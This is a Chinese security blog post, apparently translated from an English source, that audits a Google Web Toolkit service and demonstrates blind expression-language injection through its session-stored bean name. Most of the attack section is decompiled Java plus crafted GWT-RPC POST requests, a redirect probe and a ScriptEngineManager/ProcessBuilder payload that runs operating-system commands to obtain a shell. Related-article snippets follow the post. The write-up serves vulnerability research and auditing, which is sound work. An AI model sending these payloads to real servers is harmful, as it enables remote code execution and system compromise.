出品|MS08067实验室(www.ms08067.com)

本文作者:大盗贼卡卡

Google Web Toolkit简称(GWT),是一款开源Java软件开发框架。今天这篇文章会介绍如何在这样的环境中通过注入表达式语句从而导致的高危漏洞。

漏洞介绍

在WEB-INF/web.xml中,我发现了以下的web端点映射:

  1. <servlet>
  2. <servlet-name>someService</servlet-name>
  3. <servlet-class>com.aaa.bbb.ccc.ddd.server.SomeServiceImpl</servlet-class>
  4. </servlet>
  5. <servlet-mapping>
  6. <servlet-name>someService</servlet-name>
  7. <url-pattern>/someService.gwtsvc</url-pattern>
  8. </servlet-mapping>

我们可以从上面代码中看到引用了服务器映射。由于GWT可以通过定义客户端以便于表示客户端能够进行哪些访问。我们看看这些客户端类com.aaa.bbb.ccc.ddd.client:

  1. public abstract interface SomeService
  2. extends RemoteService
  3. {
  4. public abstract void sendBeanName(String paramString);
  5. public abstract Boolean setMibNodesInfo(List<MIBNodeModel> paramList);
  6. public abstract void createMibNodeGettingBean();
  7. }

通过以上代码我们可以看到有三个函数,所以把它们单独拿出来,看看它们的各自功能都是什么。在ServiceImpl的主函数中,我们找到了如下代码:

  1. public void sendBeanName(String paramString)
  2. {
  3. if (paramString == null) {
  4. return;
  5. }
  6. HttpSession localHttpSession = super.getThreadLocalRequest().getSession();
  7. if (localHttpSession != null) {
  8. localHttpSession.setAttribute("MibWidgetBeanName", paramString);
  9. }
  10. }

在这段代码中我们通过输入字符串来更改"MibWidgetBeanName"属性。除了这一点,好像没有什么可以利用的。我们继续看setMibNodesInfo函数:

  1. public Boolean setMibNodesInfo(List<MIBNodeModel> paramList)
  2. {
  3. List localList = ModelUtil.mibNodeModelList2MibNodeList(paramList);
  4. if (localList != null)
  5. {
  6. MibNodesSelect localMibNodesSelect = getBeanByName();

这个函数需要一个MIBNodeModel类型的一个列表。mibNodeModelList2MibNodeList这个方法会检查我们输入的列表是否符合规范,并且根据列表的一个元素的值返回不同的值。

如果列表是空,这个函数会定义一个新列表,并且将内容设置为MIBNodeModel的默认值。然后getBeanByName函数就会被调用。继续看看这一函数吧

  1. private MibNodesSelect getBeanByName()
  2. {
  3. ...
  4. Object localObject1 = super.getThreadLocalRequest().getSession();
  5. if (localObject1 != null)
  6. {
  7. localObject2 = (String)((HttpSession)localObject1).getAttribute("MibWidgetBeanName");
  8. if (localObject2 != null)
  9. {
  10. localObject3 = null;
  11. try
  12. {
  13. localObject3 = (MibNodesSelect)FacesUtils.getValueExpressionObject(localFacesContext, "#{" + (String)localObject2 + "}");
  14. }
  15. finally
  16. {
  17. if ((localFacesContext != null) && (i != 0)) {
  18. localFacesContext.release();
  19. }
  20. }
  21. return (MibNodesSelect)localObject3;
  22. }
  23. }
  24. return null;
  25. }

由于这是一个私有函数,所以我们不能通过客户端直接查看到这个函数的内容。在第8行我们可以了解到这里再次使用了”MibWidgetBeanName”属性,将一个字符串存储到了localObject2中。

localObject2这个变量稍后会在第14行被用到去接受一个语言表达式。很明显,这是一个经典的表达式注入漏洞,不过前提是先反汇编出代码呀~

攻击过程

首先,这不是一个有返回值的语言表达式注入漏洞。这就意味着你不知道它是不是已经执行你输入的命令。因此,我将它认为是语言表达式盲注。

我通过一个简单的例子进行说明,假如我们一个JSF(java服务器框架)存在这样的一个漏洞,那么漏洞代码会类似下方:

  1. <h:outputText value="${beanEL.ELAsString(request.getParameter('expression'))}" />

那么,通过以下攻击代码就可以实现攻击

  1. http://[target]/some_endpoint/vuln.jsf?expression=9%3b1

由于浏览器会将"+"号转换为空格,所以我们对"+"号进行url编码,如果我们得到的结果是10,那么我们就知道服务器已经执行这一个"9+1"这个命令。使用数学表达式进行注入检测是burpsuit检测注入的方法。

但是,在上述我们进行审计的代码当中,我们是不是不能去轻易的判断他是不是存在语言表达式漏洞?当然不是,我们还有其他方法。通过查找JSF说明文档,我发现了一些特别棒的函数,能够方便我们在不发出http请求确定是否存在EL注入。

Oracle官方文档陈述道你可以在FacesContext对象中使用getExternalContext方法。这个方法会返回一个ExternalContext类型的值,它允许我们设置特定对象的响应属性。当我查看文档时,这两个函数引起了我的注意:

  1. 1. setResponseCharacterEncoding
  2. 2. redirect

因此我们可以通过设置这个特定字符串为下面java代码:

  1. facesContext.getExternalContext().redirect("http://srcincite.io/");

如果响应状态值为302,重定向到了”http://srcincite.io/ “,那么我们就可以确定存在漏洞。

漏洞测试

我们第一个请求是对MibWidgetBeanName属性进行赋值

  1. POST /someService.gwtsvc HTTP/1.1
  2. Host: [target]
  3. Accept: */*
  4. X-GWT-Module-Base:
  5. X-GWT-Permutation:
  6. Cookie: JSESSIONID=[cookie]
  7. Content-Type: text/x-gwt-rpc; charset=UTF-8
  8. Content-Length: 195
  9. 6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|sendBeanName|java.lang.String|facesContext.getExternalContext().redirect("http://srcincite.io/")|1|2|3|4|1|5|6|

通过返回响应为”//ok[[],0,6]”可以了解到,我们对GWT注意已经成功。然后第二个请求触发存放在session中的字符串。但是,当我们发送请求之前,因为setMibNodesInfo函数传入的是一个复杂的变量类型,我们需要查看被保护文件的源代码,了解一下允许提交的类型。在[strongname].gwt.rpc文件中,我找到了在数组中可以提交的类型: java.util.ArrayList/382197682。

现在我们可以发送我们的请求数据了

  1. POST /someService.gwtsvc HTTP/1.1
  2. Host: [target]
  3. Accept: */*
  4. X-GWT-Module-Base:
  5. X-GWT-Permutation:
  6. Cookie: JSESSIONID=[cookie]
  7. Content-Type: text/x-gwt-rpc; charset=UTF-8
  8. Content-Length: 171
  9. 6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|setMibNodesInfo|java.util.List|java.util.ArrayList/3821976829|1|2|3|4|1|5|6|0|

正确的返回包内容应该和下面相似:

  1. HTTP/1.1 302 Found
  2. Server: Apache-Coyote/1.1
  3. Set-Cookie: JSESSIONID=[cookie]; Path=/; Secure; HttpOnly
  4. Set-Cookie: oam.Flash.RENDERMAP.TOKEN=-g9lc30a8l; Path=/; Secure
  5. Pragma: no-cache
  6. Cache-Control: no-cache
  7. Expires: Thu, 01 Jan 1970 00:00:00 GMT
  8. Pragma: no-cache
  9. Location: http://srcincite.io/
  10. Content-Type: text/html;charset=UTF-8
  11. Content-Length: 45
  12. Date: Wed, 03 May 2017 18:58:36 GMT
  13. Connection: close
  14. //OK[0,1,["java.lang.Boolean/476441737"],0,6]

当然,能够重定向说明已经执行成功了。但是我们需要的是得到shell,在这篇文章http://blog.mindedsecurity.com/2015/11/reliable-os-shell-with-el-expression.html可以使用ScriptEngineManager的脚本执行java代码。不过他们的代码都特别长,所以我使用相同的方法自己写了一个

  1. "".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var proc=new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"cmd.exe\\",\\"/c\\",\\"calc.exe\\"]).start();")

更新MibWidgetBeanName属性值,然后使用setMibNodesInfo再一次除非这个字符串,然后得到系统权限

  1. POST /someService.gwtsvc HTTP/1.1
  2. Host: [target]
  3. Accept: */*
  4. X-GWT-Module-Base:
  5. X-GWT-Permutation:
  6. Cookie: JSESSIONID=[cookie]
  7. Content-Type: text/x-gwt-rpc; charset=UTF-8
  8. Content-Length: 366
  9. 6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|sendBeanName|java.lang.String|"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var proc=new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"cmd.exe\\",\\"/c\\",\\"calc.exe\\"]).start();")|1|2|3|4|1|5|6|

触发语言表达式:

  1. POST /someService.gwtsvc HTTP/1.1
  2. Host: [target]
  3. Accept: */*
  4. X-GWT-Module-Base:
  5. X-GWT-Permutation:
  6. Cookie: JSESSIONID=[cookie]
  7. Content-Type: text/x-gwt-rpc; charset=UTF-8
  8. Content-Length: 171
  9. 6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|setMibNodesInfo|java.util.List|java.util.ArrayList/3821976829|1|2|3|4|1|5|6|0|

结论

这一漏洞几乎不可能在黑盒渗透测试中被发现。像burp suite这样的工具不会发现这样的漏洞,尤其是在考虑到字符串储存到seesion中这种情况。

随着网络技术的进步,我们对自动化的依赖越来越大, 在这一领域我们需要更多知识,技能以及工具。

资料参考

http://srcincite.io/blog/2017/05/22/from-serialized-to-shell-auditing-google-web-toolkit-with-el-injection.html







转载请联系作者并注明出处!

Ms08067安全实验室专注于网络安全知识的普及和培训。团队已出版《Web安全攻防:渗透测试实战指南》,《内网安全攻防:渗透测试实战指南》,《Python安全攻防:渗透测试实战指南》,《Java代码安全审计(入门篇)》等书籍。

团队公众号定期分享关于CTF靶场、内网渗透、APT方面技术干货,从零开始、以实战落地为主,致力于做一个实用的干货分享型公众号。

官方网站:https://www.ms08067.com/

扫描下方二维码加入实验室VIP社区

加入后邀请加入内部VIP群,内部微信群永久有效!

如何在Google Web Toolkit环境下Getshell的更多相关文章

  1. Google Web Toolkit(GWT) 在windows下环境搭建

    1.什么是GWT? Google Web Toolkit(简称GWT,读作/ˈɡwɪt/),是一个前端使用JavaScript,后端使用Java的AJAX framework,以Apache许可证2. ...

  2. Angular JS | Closure | Google Web Toolkit | Dart | Polymer 概要汇集

    AngularJS | Closure | Google Web Toolkit | Dart | Polymer GWT https://code.google.com/p/google-web-t ...

  3. Google Web Toolkit (GWT)怎么制作多个用户界面

    Google Web Toolkit即GWT是目前基于AJAX技术开发的一个比较成功的框架包,但是其附带例程中只有单页面的实例,那么应该怎么样制作多个页面呢? 其实很简单,GWT的一个模块,就是一个页 ...

  4. 如何在ES5与ES6环境下处理函数默认参数

    函数默认值是一个很提高鲁棒性的东西(就是让程序更健壮)MDN关于函数默认参数的描述:函数默认参数允许在没有值或undefined被传入时使用默认形参. ES5 使用逻辑或||来实现 众所周知,在ES5 ...

  5. GWT-Dev-Plugin(即google web toolkit developer plugin)for Chrome的安装方法

    如果你想要在Chrome中进行GWT调试,需要安装“gwt developer plugin for chrome”,但是普通安装模式下,会提示: This application is not su ...

  6. GWT-Dev-Plugin(即google web toolkit developer plugin)for firefox的下载地址

    如果FireFox的版本为20,则对应google-web-toolkit的插件离线下载地址,不要用浏览器直接下载,用Flashget等客户端下载,超快. http://google-web-tool ...

  7. GWT(Google Web Tookit) Eclipse Plugin的zip下载地址(同时提供GWT Designer下载地址)

    按照Eclipse Help->Install new software->....(这里是官方安装文档:http://code.google.com/intl/zh-CN/eclipse ...

  8. 4.1. 如何在Windows环境下开发Python

    4.1. 如何在Windows环境下开发Python 4.1. 如何在Windows环境下开发Python 4.1.1. Python的最原始的开发方式是什么样的 4.1.1.1. 找个文本编辑器,新 ...

  9. windows下python web开发环境的搭建

    windows下python web开发环境: python2.7,django1.5.1,eclipse4.3.2,pydev3.4.1 一. python环境安装 https://www.pyth ...

随机推荐

  1. TypeScript tuple 元组

    TypeScript tuple 元组 元组类型允许您用固定数量的元素表示数组,这些元素的类型是已知的,但不必相同. "use strict"; /** * * @author x ...

  2. Chrome 黑科技

    Chrome 黑科技 秒变记事本 data:text/html, <htmlcontenteditable> OK <a href="data:text/html, &qu ...

  3. 如何用 js 实现一个 sleep 函数

    如何用 js 实现一个 sleep 函数 原理 实现方式 总结 refs js sleep xgqfrms 2012-2020 www.cnblogs.com 发布文章使用:只允许注册用户才可以访问!

  4. js {}与class属性描述符的区别

    let data = { name: "ajanuw", change() { this.name = "Ajanuw"; }, get message() { ...

  5. qt DateTime 计算时间

    qdatetime doc 获取当前时间 QDateTime t1 = QDateTime::currentDateTime(); qDebug() << t1.toString(&quo ...

  6. vue常用方法封装-一键安装使用(赠送免费工具)

    相信大家在使用vue开发过程中一定遇到了各种方法的整理收集,每次遇到新的问题都需要找到合适的方法 这里我给大家封装了一些vue项目中常用到的方法合集,免费提供费大家 因此,jsoften横空出世,不为 ...

  7. HANNAH WHITE:从Facebook谈坚持

    HANNAH WHITE于1993年毕业于加州斯坦福大学,被美国多家知名杂志评为最值得关注经济管理学杰出人才,2006年-2009年担任Doll资本管理公司部门主管,2009年-2013年担任Doll ...

  8. NGK项目与其他项目相比有哪些优势?

    一个项目运行这么久,难免不被其他项目比来比去.NGK项目之所以能被很多人关注,是因为NGK具有独特的优势,NGK具有很高的性能,在智能合约上有多种应用,而且NGK具有独特的跨链技术.转账没有手续费,在 ...

  9. 使用 Tye 辅助开发 k8s 应用竟如此简单(三)

    续上篇,这篇我们来进一步探索 Tye 更多的使用方法.本篇我们来了解一下如何在 Tye 中如何对数据库进行链接. Newbe.Claptrap 是一个用于轻松应对并发问题的分布式开发框架.如果您是首次 ...

  10. 解决使用Redis时配置 fastjson反序列化报错 com.alibaba.fastjson.JSONException: autoType is not support

    1.问题描述 在使用redis时,配置自定义序列化redisTemplate为FastJsonRedisSerializer .  1 /** 2 * 自定义redis序列化器 3 */ 4 @Sup ...